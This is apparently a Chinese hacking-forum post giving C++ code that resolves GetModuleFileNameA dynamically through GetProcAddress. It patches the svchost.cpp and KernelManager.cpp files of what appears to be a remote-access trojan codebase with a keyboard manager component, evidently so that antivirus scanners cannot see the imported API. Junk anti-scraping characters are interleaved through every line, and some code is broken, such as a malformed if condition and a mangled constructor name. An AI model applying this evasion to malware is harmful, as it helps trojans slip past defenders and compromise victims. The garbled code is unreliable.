返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记* s7 V& {! W% z3 X2 i7 R( A: N
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h7 o  n+ |8 U4 `$ M
----------------------------------------5 I6 I. z+ }# v8 }  g0 j
DTDY.h:8 n* `5 C$ ]4 {- ~$ K, n1 A  S
5 j, C# z$ P, x- Q+ ~9 U
#if _MSC_VER>1000. }/ Q% u1 U- B: q+ w
#pragma once
* A: n# a% Q- Q# k# ^, c. `#endif //_MSC_VER>10000 i  e* @, w: y  F( y* Y2 D8 U9 v
#include<windows.h>( l" l( V& u9 @! ]
5 q- Z# `: r& [9 g9 l) J! @% I3 h
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
1 M2 p* p9 s6 F' z- ~4 o. yclass DTDY& l8 m0 ?4 N2 L0 P
{
7 E( z$ ^& C" qpublic:
. _: y) i' w9 {DTDY();: b- B1 \; _$ C; l7 S  M. l
virtual ~DTDY();
& [6 y; O* a' ~6 _9 upublic:+ \9 k! z# I' h& x
static pGetModuleFileNameA MyGetModuleFileName;
8 R: i  t0 m7 K2 A- h5 ustatic BOOL FunInitiallization();
# u% r( c' K4 u- Y* }! C  p};
0 J) f3 I! r: ?- ~2 u#endif) H! _4 f$ G" I% o8 @. Z
----------------------------------------
5 H3 l' {/ o, j  y( L( Z
) F2 ~( T& Z, r) q# ADTDY.cpp:
  K) c7 H& n0 v/ s: j
1 B" @7 `# z$ \; w#include "DTDY.h"
3 O) j* d/ I: }8 x( UpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;: u$ G. [6 D+ M* x) F0 ^  J0 ]
DTDY:TDY()0 r2 t; |5 E5 O7 e1 C4 P
{: J0 `+ ~6 s4 {- h! C( N, f
}
* \2 h8 @# T3 o4 u% {/ RDTDY::~DTDY()2 F# v8 O/ O2 L# T# t4 L+ g
{0 Y5 d/ z6 O+ f1 x. ~& e! I% ^
}
+ d# y2 m3 L( {- IBOOL DTDY::FunInitiallization()
" w4 U6 C) }& _{
6 x2 ?; b: h; |6 ~HMODULE hModule=LoadLibrary("kernel32.dll");+ ]  d6 D1 L$ `: O! m7 L. d& \
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
+ v* Y1 @4 {9 V) v$ Zif(!MyGetModuleFileName=) return FALSE;
% D  t, S# s* z% b5 H9 ^- j" ?* O9 N
return TRUE;
" N+ i) [9 Q! p) H& r3 G  o# I4 U}* d" [; e1 Q* m
----------------------------------------, r0 ?2 X3 A* @" ~/ P
svchost.cpp:1 J' _& e# \: R' a5 t5 y4 P/ Z# B
& [. G) e3 I/ a% h) {1 }
#include "DTDY.h"
, T6 f. }+ R- z8 Q
  u' E2 O' C0 f3 V9 vBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
4 G- c$ K8 T$ }& u2 y1 y{
5 {9 |( ]+ o, c7 j. h8 Gswitch(ul_reason_for_call)
1 b' g7 ~& }* ^8 z, e" f{3 \0 C, R, q8 ?: w) H( i5 p
case DLL_PROCESS_ATTACH:, N; Y2 ^; I. l
if(!DTDY::FunInitiallization()) return FALSE;
1 Q/ \4 I% ?! G# ?" h9 Q" _1 x& K  x' `6 b
break;6 P! h* z5 M# z; x, `4 j
}
7 j8 A3 a0 B0 ?& u; I4 a}
/ D  Z# U( I& t% b- r. d% k$ Y
5 y9 q- `+ P; S1 |
) N1 o1 K8 |& S! k9 I, l' IGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def5 I0 x5 ~0 C3 e5 i6 b/ C0 W
改写为2 b$ @2 T0 V1 ]! v2 v: i. v' `
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
3 m2 k5 ]$ {% m. V----------------------------------------* `! t+ Y: F8 n, Q# |; u% V
KernelManager.cpp:
5 f$ W7 H8 z1 a" [2 u" W& P$ z# S. I) l0 P- `/ h: V
#include "../DTDY.h"
* b  u& G& g6 @- k4 k- v& xGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
# e% Q: A! A2 k. n5 Z" o改写为
6 F- ^+ t0 ]% {4 ?  W- y* l& qDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));% S  M& l  i  {2 F0 @# u4 w% Q
----------------------------------------

返回列表